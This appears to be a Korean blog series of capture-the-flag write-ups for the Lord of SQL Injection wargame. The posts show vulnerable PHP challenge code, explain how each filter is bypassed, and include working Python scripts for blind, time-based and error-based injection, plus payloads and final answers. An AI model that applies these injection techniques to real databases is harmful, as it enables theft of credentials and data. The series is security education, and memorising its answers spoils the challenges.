728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

hell_fire 문제와 유사하지만 Time Based SQL Injection을 할 수가 없다.

이번엔 정렬 순서를 이용한다. order by 뒤엔 칼럼명이 온다. 근데 숫자로 대체 가능하다. 

select id, pw from member order by 1;

이 쿼리에선 1은 id를 의미한다. 그럼 pw는 2일 것이다. 그리고 출력하는 열이 2개이므로 2까지만 사용가능하다.

결과적으로 id를 기준으로 디폴트값인 오름차순으로 정렬된다. 

근데 order by 뒤에 if 함수가 온다면 숫자의 역할이 달라진다.

select id, pw from member order by if(id='admin' or id='hello', 0,1); 

이 쿼리의 경우 id가 admin이거나 hello의 경우는 먼저 출력되고 나머지는 그다음에 출력된다.

즉, admin과 hello는 우선순위가 0이 되어 먼저 출력, 나머진 우선순위가 1이 되어 나중에 출력된다.

기존의 칼럼명 역할이 아닌 우선순위 역할을 한다고 보면 된다. 우선순위 값이 작을수록 먼저 출력.

그리고  0,1 이 아닌 어떠한 자연수를 써도 가능하다.

import requests

url='https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#60
def find_email_len():
    em_len=1
    while True:
        r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},0,1)".format(em_len),cookies=cookie)
        
        if '50</td></tr><tr><td>rubiya' in r.text:
            return em_len
        else:
            em_len+=1

#aasup3r_secure_email@emai1.com
def find_email():
    em_len=find_email_len()
    tmp=''
    for i in range(1,em_len+1):
        for j in HEX:
            r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',0,1)".format(i,j),cookies=cookie)
            if '50</td></tr><tr><td>rubiya' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="") 
                    tmp=''
                break

find_email()

if문이 참이면 우선순위가 0이 되어 admin이 먼저 출력된다. 거짓이면 rubiya가 먼저 출력된다.

이를 기반으로 Blind SQL Injection을 수행했다.

코드 상의 tmp 변수에는 pw 문자 하나에 해당하는 0x를 제외한 16진수가 저장된다.

ex) pw에 알파벳 a가 있다면 tmp에는 '61'이 저장된다.

int(tmp,16)을 하면 10진수로 변환된다. 16은 tmp가 16진수임을 의미.

답: ?email=aasup3r_secure_email@emai1.com

728x90

'Lord of SQL Injection' 카테고리의 다른 글

red_dragon  (0) 2023.01.02
green_dragon  (2) 2023.01.02
hell_fire  (2) 2023.01.01
dark_eyes  (0) 2023.01.01
iron_golem  (0) 2023.01.01
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

order by는 정렬에 사용하는 문법이다. 뒤에 칼럼명이 오면 해당 칼럼명을 기준으로 정렬한다. 숫자로 칼럼명을 대체하는 게 가능한데 order by 뒤에 if 함수가 사용되면 숫자의 역할이 달라진다. 하지만 이 문제에선 sleep 여부로 SQL Injection을 수행하기에 중요하진 않다.

Time Based SQL Injection이 가능하기에 sleep 함수를 사용하여 if문 조건이 참인 경우 2초 동안 sleep을 하도록 하였다.

import requests
import time

url='https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#56
def find_email_len():
    em_len=1
    while True:
        start=time.time()
        r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},sleep(2),1)".format(em_len),cookies=cookie)
        end=time.time()

        if end-start>2:
            return em_len
        else:
            em_len+=1
            
#admin_secure_email@emai1.com
def find_email():
    em_len=find_email_len()
    tmp=''
    for i in range(1,em_len+1):
        for j in HEX:
            start=time.time()
            r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',sleep(2),1)".format(i,j),cookies=cookie)
            end=time.time()
            
            if end-start>2:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_email()

 

답: ?email=admin_secure_email@emai1.com

728x90

'Lord of SQL Injection' 카테고리의 다른 글

green_dragon  (2) 2023.01.02
evil_wizard  (0) 2023.01.02
dark_eyes  (0) 2023.01.01
iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01
728x90
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();      //error문 출력은 안되지만 error가 발생하면 빈 페이지 출력. 이를 기반으로 Error Based SQL Injection 수행.
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

공격구문은 다음과 같다. 

?pw=' or id='admin' and (select 1 union select length(hex(pw))={})%23 

union 뒤의 구문이 거짓이라면 where 절에 행이 2개(1,0)가 반환되며 Subquery returns more than 1 row 에러가 발생한다.

참고로 참이면 select 1 union select 1은 행 1개(1)를 반환한다. 즉, 연속된 같은 값이면 하나로 통일한다.

error가 출력은 안되지만 error가 발생하면 빈 페이지가 나타난다. 이를 기반으로 Error Based SQL Injection 수행한다.

pw 찾는 속도를 높이기 위해 이번에도 hex 함수를 이용했다.

hex함수는 16진수 값을 반환하기에 '0123456789ABCDEF' 만 비교하여 빠르게 답을 찾을 수 있다.

import requests

url='https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and (select 1 union select length(hex(pw))={})%23".format(pw_len),cookies=cookie)
        if 'query' in r.text:
            return pw_len
        else:
            pw_len+=1
            
#5a2f5d3c           
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and (select 1 union select substr(hex(pw),{},1)='{}')%23".format(i,j),cookies=cookie)
            if 'query' in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_pw()

답: ?pw=5a2f5d3c

728x90

'Lord of SQL Injection' 카테고리의 다른 글

evil_wizard  (0) 2023.01.02
hell_fire  (2) 2023.01.01
iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01
xavis  (2) 2023.01.01
728x90
<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

MySQL 문법에서 where 절에 행이 2개 이상 반환되면 다음과 같은 에러가 출력된다.

ERROR 1242 (21000): Subquery returns more than 1 row

이를 이용하여 쿼리문이 거짓일 경우엔 union select를 이용하여 2개 이상의 행을 반환하도록 하였다.

따라서 'Subquery'라는 단어가 웹페이지에 출력되지 않으면 쿼리문은 참임을 이용하였다. 

코드는 다음과 같다. hex 함수를 사용하였는데 pw가 문자가 32개라서 찾는 시간이 오래 걸려서 연결이 끊기는 경우가 많다.

16진수를 반환하도록 하여 HEX라는 변수의 16진수 한자리 값들만 비교함으로써 탐색 시간을 단축시켰다.

참고로 아스키 코드에 해당하는 문자는 sql의 length 함수 결괏값은 1이다.

MySQL에서 hex 함수를 적용하면 16진수로 나타내어지는데 흔히 사용되는 문자, 숫자들은 16진수로 표현하면 두 자리가 된다.

ex) hex('a')=61, length(hex('a'))=2

따라서 length 함수 결과값은 2이다. 즉, 이것이 hex 함수를 사용하면 사용하기 전보다 length 반환값이 2배가 되는 이유다.

import requests

url='https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#64
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and if(length(hex(pw))={},1,(select 1 union select 2))%23".format(pw_len),cookies=cookie)
        if 'Subquery' not in r.text:
            return pw_len
        else:
            pw_len+=1
            
#06b5a6c16e8830475f983cc3a825ee9a
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and if(substr(hex(pw),{},1)='{}',1,(select 1 union select 2))%23".format(i,j),cookies=cookie)
            if 'Subquery' not in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
find_pw()

답: ?pw=06b5a6c16e8830475f983cc3a825ee9a

728x90

'Lord of SQL Injection' 카테고리의 다른 글

hell_fire  (2) 2023.01.01
dark_eyes  (0) 2023.01.01
dragon  (0) 2023.01.01
xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

guest뒤에 #으로 주석처리가 된다. mysql에서 #은 한줄 주석 처리다.

pw에 %0a(개행) 문자를 삽입하여 다음 줄로 줄바꿈으로써 주석을 우회한다.

그리고 앞에 id='guest'가 살아있으므로 and pw='' 를 이용하여 guest 조건을 거짓으로 만든다.

답: ?pw=?%0a and pw='' or id='admin

728x90

'Lord of SQL Injection' 카테고리의 다른 글

dark_eyes  (0) 2023.01.01
iron_golem  (0) 2023.01.01
xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

아스키코드에 매칭시키면 답이 안 나온다.  128 이상의 값을 가진다는 것이다. 

pw를 16진수로 바꿔서 pw를 구했다. utf-8방식으로 인코딩한 유니코드가 나오는 것을 확인했다.(0x0000C6B00000C6550000AD73)

참고로 한글의 유니코드 범위는 다음과 같다.
('가' = 0xAC00(16진수) = 44032(10진수)  ~ '힣'=0xD7A3 = 55203)

앞에 8자리씩 잘라서 python의 chr 함수에 대입해 변환했다. 
chr(0x0000c6b0) = '우'

코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#24
def find_pw_len():
    pw_len=1
    while True:
        r=requests.get(url+"?pw=' or id='admin' and length(hex(pw))={}%23".format(pw_len),cookies=cookie)
        if 'Hello admin' in r.text:
            return pw_len       
        else:
            pw_len+=1
#0000C6B00000C6550000AD73(=우왕굳)
def find_pw():
    pw_len=find_pw_len()
    for i in range(1,pw_len+1):
        for j in HEX:
            r=requests.get(url+"?pw=' or id='admin' and substr(hex(pw),{},1)='{}'%23".format(i,j),cookies=cookie)
            if 'Hello admin' in r.text:
                print(j,end="")
                break

find_pw()

답: ?pw=우왕굳

728x90

'Lord of SQL Injection' 카테고리의 다른 글

iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01
nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

답: ?pw=')=0;%00

query : select id from prob_nightmare where pw=('')=0;') and id!='admin'

이런 쿼리가 완성이 되는데 해석하자면 pw=('')=0까지 실행된다. ;%00은 쿼리의 끝을 의미한다고 보면 된다. 주석을 대신하는 용도로 많이 사용된다. 따라서 남은 뒷부분은 무시된다. 참고로 %00은 php의 strlen 함수에서 길이 1로 취급한다.

pw=('')=0 은 앞에서부터 순차적으로 비교한다. pw=('')을 비교하는데 괄호는 무시해도 된다. 구분자의 역할이기 때문이다. 결국 빈 문자열과 pw를 비교하는 것이다. pw가 빈 문자열인 경우는 없을 것이라 pw=('')은 0을 반환하고 다시 뒤에 0과 =연산 끝에 1이 반환된다. 즉 모든 행에 대하여 참이 되는 것이다. 따라서 어떤 id 하나는 최종적으로 얻게 된다.

이 문제 해설들에서 ('')이 0과 같아서 위의 쿼리가 실행되어 문제가 풀린다는 글이 보이는데 이건 잘못됐다. 문자열과 정수의 비교 연산에선 형변환이 진행되지만 테스트해보면 pw=('')=0에서 앞에서부터 진행된다. pw도 문자열, ('')도 문자열이기에 형변환 없이 문자열끼리의 비교연산이 된다. 그 결과 pw가 빈 문자열인 경우는 없다고 보고 연산결과 0이 반환될 것이고 마지막 =0 연산에서 최종적으로 1(참)이 반환될 것이다.

참고 자료)

1. mysql에서는 문자열과 정수를 비교할 때 문자열은 정수로 형변환이 일어난다.(단, 양쪽 다 '로 둘러싸인 문자열이라면 형태 상관없이 문자열로 취급)

문자열과 정수 비교에서 형변환을 설명하자면, 숫자가 아닌 것들로만 이루어진 문자열을 정수 0으로 취급한다. 또 '123abc' 처럼 숫자로 시작하여 숫자(들)+문자(들)로 구성된 문자열은 연속된 숫자에 해당하는 정수로 취급한다. 여기선 123이 되겠다. 그리고 'abc123'은 'abc123' 그 자체다. 알파벳으로 시작했기 때문이다.
ex) select 'abc' = 0 -> 1 반환
select '1'=1 -> 1 반환.(문자 '1'이 정수 1로 형변환)
select '1abc'=0 -> 0 반환.('1abc'는 1이다.)
select '123a23'=12323 -> 0 반환('123a23'은 숫자로 시작하지만 문자가 중간에 나타났다가 다시 숫자가 등장하므로 문자열 그 자체다. 따라서 '123a23'만 같다고 할 수 있다.)

자세한 건 링크를 참조하길 바란다.
왜 '1'=1 은 1을 반환하는가? :  https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-0-gives-true

 

mysql: why comparing a 'string' to 0 gives true?

I was doing some MySQL test queries, and realized that comparing a string column with 0 (as a number) gives TRUE! select 'string' = 0 as res; -- res = 1 (true), UNexpected! why!??!?! however, com...

stackoverflow.com

2. pw=('')=0 연산이 왜 앞에서부터 순차적으로 진행되는지 궁금하다면 index(정수)와 id(문자열)로 이루어진 테이블을 하나 만들어서 (0, a), (1, b), (2, c) 데이터를 삽입 후 select id from 테이블명 where index=2=2;를 실행해보면 아무 값도 나오지 않는다는 것을 알 수 있다. 만약 뒤에서부터 비교했다면 2=2 결과 1이 반환되고 index=1인 값이 조회되어야 하는데 index=1인 id는 출력되지 않는다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

dragon  (0) 2023.01.01
xavis  (2) 2023.01.01
zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
assassin  (0) 2022.12.23
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

addslashes 함수는 ', ", \, NULL 문자를 escape 처리함.

즉, '\'를 앞에 붙여서 기존의 역할을 못하게 문자 그 자체로 만든다.

strrev 함수는 문자열의 순서를 거꾸로 만드는 함수.
ex)strrev('abc') -> cba

id에 %00(NULL 문자), pw에 %23 1 ro 대입하자.

php 코드를 해석하면 id는 addslashes 한 \0에 strrev에서 0\이 됨.

pw는 addslashes 해도 그대로인데 strrev 해서 or  1 #이 됨.

query : select id from prob_zombie_assassin where id='0\' and pw='or 1=1 #'

id는 초록색 문자열인 0' and pw= 이 된다. 두 번째 '가 이스케이프 처리 되기 때문이다.

or 뒤에 1은 DB의 모든 행에 대하여 참이 된다.

결과적으로 어떤 id 한 개가 조회됨.

답: ?id=%00&pw=%23 1 ro

728x90

'Lord of SQL Injection' 카테고리의 다른 글

xavis  (2) 2023.01.01
nightmare  (0) 2022.12.23
succubus  (0) 2022.12.23
assassin  (0) 2022.12.23
giant  (0) 2022.12.23
728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

id와 pw에 '를 쓸 수가 없다. 문제를 풀려면 백슬래시(\)를 사용해서 escape 처리를 해야 한다. 
참고로 한국의 돈 단위 ₩(원)도 백슬래시 역할이다.

sql에서 문자 앞에 백슬래시(\)를 붙이면 문자 그자체로 인식한다. '도 마찬가지다.
sql에서 '는 문자(열)을 표현하는 역할인데 \'은 ' 문자 그 자체로 인식한다.

이 문제에서 id엔 \을 대입하고 pw엔 or 1%23을 대입하자. 아래와 같은 쿼리가 완성된다.
query : select id from prob_succubus where id='\' and pw='or 1#'

id엔 파란색 문자열이 대입된다. 두번째 등장하는 ' 은 백슬래시(\)로 인해 문자로 인식된다. 

따라서 id의 값은 ' and pw= 가 된다. or 뒤에 1은 늘 참이다.

따라서 쿼리 실행 결과 모든 행들이 조건을 만족할 것이며 id가 반드시 존재하기에 문제가 풀린다.

#은 url에서 예약 문자이기 때문에 %23으로 URL 인코딩한 값을 전달해야 '#'으로 PHP에서 인식한다.

답: ?id=\&pw=or 1%23

728x90

'Lord of SQL Injection' 카테고리의 다른 글

nightmare  (0) 2022.12.23
zombie_assassin  (0) 2022.12.23
assassin  (0) 2022.12.23
giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
728x90
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");  // ' 사용 불가
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

like 연산자는 '%' 또는 '_'와 많이 쓰인다. '%'는 문자(열)를 의미. '_'는 문자 한 개 의미.

like 'a%' : a로 시작하는 문자열
like '_a': a로 끝나는 길이가 2인 문자열.

'%'를 이용하여 문제를 풀었다. ?pw=문자% 형태로 전달해보면 Hello admin은 나오지 않고 Hello guest만 나온다.

이는 admin과 guest의 비밀번호 첫 글자가 같으며 guest가 db 내에서 더 상단에 있다는 것을 의미한다.

두 번째 문자의 경우도 첫 번째 문자의 경우와 같았다.

두 번째 문자까진 Hello guest 출력 여부로 비밀번호를 알아낸다. 코드에서 admin 부분을 guest로 바꿔야한다.

그 결과 guest와 admin 모두 비밀번호 앞 두자리가 90임을 알 수 있다.

마침내 세 번째 문자에서 Hello admin이 나오는 것을 확인할 수 있었다.

import requests

url='https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
cookie={'PHPSESSID':'자신의 세션 id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'

def find_pw():
    pw=''
    while True:
        found=False
        
        for i in ch:
            r=requests.get(url+"?pw=90{}%25".format(pw+i),cookies=cookie)
            if 'Hello admin' in r.text:
                pw+=i
                found=True
                break

        if found is False:
            print(pw)
            break
find_pw()

답: ?pw=902efd10 또는 ?pw=902%

728x90

'Lord of SQL Injection' 카테고리의 다른 글

zombie_assassin  (0) 2022.12.23
succubus  (0) 2022.12.23
giant  (0) 2022.12.23
bugbear  (0) 2022.12.22
darkknight  (0) 2022.12.22

+ Recent posts